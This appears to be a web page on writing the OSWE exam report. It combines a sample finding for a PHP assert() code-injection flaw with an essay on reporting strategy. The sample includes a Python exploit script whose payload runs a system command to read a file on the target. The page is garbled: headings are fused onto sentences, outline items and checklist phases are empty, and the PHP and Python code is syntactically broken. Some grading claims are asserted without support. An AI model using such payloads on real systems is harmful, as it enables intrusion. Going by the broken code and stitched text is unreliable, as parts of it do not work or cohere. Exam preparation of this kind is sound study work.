Oswe Exam Report -

  • Environment

  • Methodology

  • Vulnerability Findings (repeat per issue)

  • Chaining & Post-Exploitation

  • Evidence Appendix

  • Mitigation & Hardening Checklist

  • Testing Notes & Limitations

    • You must tell the developer exactly how to fix the code.

    Vulnerability Title: Unauthenticated Remote Code Execution via assert() Injection in core/logic.class.php oswe exam report

    Severity: Critical

    Code Location: /modules/core/logic.class.php, lines 88-94

    Code Snippet:

      public function runCommand($user_input) 
      $result = "";
      assert("$result = $user_input");
      return $result;

    Vulnerability Analysis: The runCommand() method takes user-controlled input from the cmd POST parameter. The assert() function evaluates the string as PHP code. Since no sanitization is applied, an attacker can break out of the string concatenation by injecting '.phpinfo().', leading to arbitrary code execution.

    Exploit Script (exploit_assert_rce.py):

    import requests
target = "http://192.168.1.100/index.php?action=run"
payload = "'.system('cat /var/www/local.txt').'"
r = requests.post(target, data="cmd": payload)
print(r.text) # Extracts local.txt

    Proof: [Screenshot of exploit output showing local.txt hash: "OSWE8a3f..."]

    Remediation: Remove assert() for dynamic code evaluation. Use a switch-case block or a whitelist of allowed commands. If dynamic logic is required, use a secure template engine or sandboxed evaluation environment.

    The OSWE exam is 48 hours of lab access, followed by 24 hours to submit the report. This is a trap. Environment

    Do not hack for 47 hours and write the report in 1 hour. You will produce garbage.

    Strategy:

    In the high-stakes world of offensive security certifications, the OSWE (Offensive Security Web Expert) stands apart. Unlike multiple-choice tests or simplistic lab checklists, the OSWE examination is a grueling 48-hour practical test followed by a 24-hour reporting window. While many candidates focus their preparation on mastering code review and chaining complex exploits, the true determinant of success is often an overlooked artifact: the OSWE Exam Report. This document is not merely a formality; it is the final exploit. A technically brilliant hack that is poorly documented is, in the eyes of Offensive Security, a failed hack.

    The primary purpose of the OSWE report is to demonstrate reproducibility. Offensive Security’s grading philosophy is rooted in a simple, brutal logic: if a student cannot clearly explain their attack, they do not fully understand it. The report must serve as a blueprint, allowing a competent but unfamiliar security engineer to replicate the entire compromise from a blank virtual machine. Every step, from the initial source code analysis to the final proof flag, must be unambiguous. Screenshots must include the URL bar showing the exact IP address and parameters. Code snippets must highlight the specific vulnerability—be it a deserialization bug, a race condition, or an authentication bypass. Vague statements like “I then used a crafted payload” are unacceptable; instead, the report demands the actual payload and a line-by-line explanation of how it subverts the application’s logic.

    Structurally, the OSWE report demands ruthless efficiency. Unlike the verbose narratives of penetration test reports intended for clients, the OSWE exam report is written for a grader who has already exploited the system themselves. The document typically follows a strict framework: an executive summary, a list of vulnerabilities, and then a detailed technical walkthrough. However, the key to passing lies in precision over length. Each vulnerability section must include three critical components: a concise description of the root cause (citing the specific source code file and line number), a proof of concept (PoC) script or command sequence, and a remediation recommendation. Offensive Security is famous for failing reports that contain extraneous “noise”—failed exploit attempts, irrelevant Nmap scans, or speculative commentary. The final report is a polished diamond, not a raw rock.

    The most common reason for failure on the OSWE exam is not an inability to hack the box, but a failure in evidence correlation. The OSWE is unique because it requires chaining multiple vulnerabilities (e.g., a file read leading to a credential leak, leading to an admin panel, leading to a template injection). The report must explicitly map how each step connects to the next. If the grader cannot follow the logical chain because a screenshot is missing or a command is truncated, the chain breaks, and the flag is considered unproven. Furthermore, the report must include the actual contents of the final proof flag file (e.g., OSWE...) captured via a shell command. A screenshot of a browser window with the flag is often rejected because it could be forged; a terminal listing the file using cat or type is the gold standard.

    Finally, the OSWE report tests professional endurance under pressure. After 48 hours of intense cognitive labor, candidates enter the 24-hour reporting window exhausted. It is here that discipline triumphs. Successful candidates do not write the report at the end; they write it concurrently. They maintain a scratchpad of commands, a folder of timestamped screenshots, and a skeleton outline from hour one. The final 24 hours are spent editing, clarifying, and verifying—not recreating lost exploits. Time management is, therefore, a technical skill. A candidate who compromises all targets but submits a report missing two screenshots or with a broken hyperlink will receive a failing grade of 0 points for that target.

    In conclusion, the OSWE exam report is far more than a piece of documentation. It is the ultimate expression of the hacker’s mindset: methodical, exacting, and communicative. Offensive Security does not sell a certification in hacking; it sells a certification in professional exploitation. The ability to break a system is common; the ability to break a system and then articulate that breakdown so clearly that another expert can walk in your footsteps is rare. For OSWE aspirants, the mantra should be clear: your exploit code gets you in, but your report keeps you certified. Treat the report as you would the exploit—with precision, proof, and no room for error. Methodology

    The OSWE exam report is a formal penetration testing deliverable. You are acting as a consultant who has successfully compromised two separate machines (or a network of applications) by chaining together multiple vulnerabilities.

    Your goal is to provide a professional, reproducible, and exhaustive document that allows Offensive Security’s lab team to verify your findings.

    Here is the critical distinction between OSCP and OSWE:

    Before you zip up your report and exploit.py, set a timer for 30 minutes and run this checklist.

    Phase 1: The PoC (10 minutes)

    Phase 2: The Report (15 minutes)

    Phase 3: The Bundle (5 minutes)